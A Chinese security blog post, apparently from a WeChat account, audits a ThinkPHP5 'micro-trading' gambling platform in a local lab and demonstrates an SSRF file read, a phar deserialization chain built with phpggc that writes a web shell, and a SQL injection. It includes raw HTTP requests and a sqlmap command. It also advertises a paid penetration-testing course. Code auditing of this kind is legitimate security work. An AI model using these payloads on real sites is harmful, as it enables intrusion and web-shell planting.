免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。
我们强烈谴责任何非法活动,并严格遵守法律法规。
读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。
本公众号不对读者的任何违法行为承担任何责任。
🎯 如果你正在学习网络安全、渗透测试或者代码审计,希望能系统掌握从基础到实战的完整技能体系,我的渗透测试课程现在正在进行618限时特惠活动!
🧠 课程内容包含:
-
Web漏洞挖掘与利用
-
内网渗透与横向移动
-
代码审计(PHP/Java/Net)
-
实战打点项目 + 红队思维
🚀 教学以实战为主,适合初学者和进阶选手。
🎁 现在报名,享受 618 限时优惠 课程详细 【618活动】暗月安全攻防课
📩 想了解课程和咨询,可添加我微信
1.简介
所谓“微交易系统”通常指的是:
投资者对某种资产(如汇率、商品、比特币等)价格的短时间涨跌进行预测;
投注金额非常小,时长很短(如 30 秒、60 秒);
声称“稳赚不赔、秒结收益”;
通过系统平台下注、自动判断输赢。
听起来像赌博?对,因为它本质上就是一种金融赌博行为,而很多“微交易平台”背后的系统其实可以后台控制涨跌结果,操纵客户盈亏。
2.系统搭建
php7.2 mysql8 apache
使用phpstudy创建网站
创建数据库
还需要伪静态
<IfModule mod_rewrite.c>Options +FollowSymlinks -MultiviewsRewriteEngine onRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]</IfModule>
设置完成后访问
3.thinkphp5基础知识
访问请求
ThinkPHP5.0在没有启用路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:
php.exe index.php(或者其它应用入口文件) 模块/控制器/操作/[参数名/参数值...]
可以看到,无论是URL访问还是命令行访问,都采用PATH_INFO访问地址,其中PATH_INFO的分隔符是可以设置的。
注意:5.0取消了URL模式的概念,并且普通模式的URL访问不再支持,但参数可以支持普通方式传值,例如:
php.exe index.php(或者其它应用入口文件) 模块/控制器/操作?参数名=参数值&...
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
必要的时候,我们可以通过某种方式,省略URL里面的模块和控制器。
更多thinkphp的知识访问 https://www.kancloud.cn/manual/thinkphp5/118008
3.ssrf 漏洞
漏洞文件 application/index/controller/Api.php#curl
存在curl方法 使用curl访问网页。可以直接调用存在ssrf漏洞
可以利用它读取本地文件 payload
4.反序列化漏洞RCE
thinkphp5是存在反序列化漏洞的 查看thinkphp的版本
thinkphpbase.php
工具下载 https://github.com/ambionics/phpggc 生成对应版本的反序列化文件。
列出 thinkphp反序列化利用链
└─$ ./phpggc -l thinkphpGadget Chains-------------NAME VERSION TYPE VECTOR I ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * ThinkPHP/RCE1 5.1.x-5.2.x RCE: Function Call __destruct * ThinkPHP/RCE2 5.0.24 RCE: Function Call __destruct * ThinkPHP/RCE3 -6.0.1+ RCE: Function Call __destruct ThinkPHP/RCE4 -6.0.1+ RCE: Function Call __destruct
可以使用ssrf漏洞使用phar协议触发漏洞
./phpggc ThinkPHP/FW1 目标目录 本地文件 -p phar -o test.phar./phpggc ThinkPHP/FW1 D:\phpstudy_pro\WWW\www.d2.com\shell.php 1.php -p phar -o test.phar
通过文件上传把phar文件上传到目标目录
漏洞文件 application/index/controller/Msm.php
文件操作函数能触发phar协议
GET /index/Msm/curl_get?url=phar://test.phar HTTP/1.1Host: www.d2.comCookie: PHPSESSID=6mqnurl9q40pi0nq654fcqlusp; think_var=zh-cn; rememberme=dkewl; pid18=3085.04004; pid11=254.2017; pid10=230.7014; pid5=53.10016; pid4=5.469; pid3=3.012; pid2=28.846; pid1=26.799Upgrade-Insecure-Requests: 1Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-CN,zh;q=0.9
在根目录生成shell文件
访问
5.SQL注入漏洞
漏洞位置 application/index/controller/Goods.php#ajaxkdata
在thinkphp5中 使用 where('pid='.$pid)
这样拼接字符串会造成SQL注入
payload url需要登录才能访问
GET /index/Goods/ajaxkdata?pid=1' HTTP/1.1Host: www.d2.comCookie: PHPSESSID=6mqnurl9q40pi0nq654fcqlusp; think_var=zh-cn; rememberme=dkewl; pid18=3085.04004; pid11=254.2017; pid10=230.7014; pid5=53.10016; pid4=5.469; pid3=3.012; pid2=28.846; pid1=26.799Upgrade-Insecure-Requests: 1Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-CN,zh;q=0.9
使用python sqlmap.py -r sql.txt --dbms mysql -v 注入
原文始发于微信公众号(moonsec):代码审计资金盘软盟微交易系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论